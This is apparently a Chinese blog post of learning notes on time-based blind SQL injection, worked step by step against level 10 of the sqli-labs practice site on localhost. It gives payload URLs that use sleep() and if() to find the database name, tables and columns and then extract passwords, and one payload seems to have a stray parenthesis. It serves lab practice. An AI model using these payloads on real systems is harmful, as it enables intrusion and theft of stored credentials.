時間盲注的學習

時間盲注的條件

之前已經學習過了布爾盲注,其實時間盲注布爾盲注基本上一樣,只不過布爾盲注有回顯,而時間盲注沒有,其實時間盲注可以解決多種方法的盲注問題。

學習時間盲注需要用到的函數

sleep()/延遲函數
if(condition,true,false)//若條件爲真 執行true,若條件爲假 執行false
substring("string",strart,length)

時間盲注的實例

在這裏就用sqli-labs的第10關講一下
首先判斷注入點
輸入代碼
http://localhost/sqli-labs-master/Less-10/?id=1" and sleep(10) --+
發現會延遲10秒出現結果,說明注入點時"。
判斷數據庫長度

http://localhost/sqli-labs-master/Less-10/?id=1" and if(length(database())>5,1,sleep(10))--+

接着爆出數據庫名

http://localhost/sqli-labs-master/Less-10/?id=1" and if((ascii(substr(database(),1,1)))>120,1,sleep(10))--+

接着就更改1的值來爆出來名字。
爆表名

http://localhost/sqli-labs-master/Less-10/?id=1" and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>120,1,sleep(10))--+

和上面的一樣,更改limit 0,1的值來爆出來名字。
和布爾盲注相比就是多了一個if的函數,其他的基本一樣。
爆字段

http://localhost/sqli-labs-master/Less-10/?id=1" and if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))))>100,1,sleep(10))--+


爆值

http://localhost/sqli-labs-master/Less-10/?id=1" and  if((ascii(substr(( select password from users limit 0,1),1,1)))>1,1,sleep(10))--+  


到這裏就爆出來了,可以用腳本來進行爆破,由於技術原因就不展示了。
奈何本人技術差,一純手工注入走天下,將來進行腳本學習再補回來。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章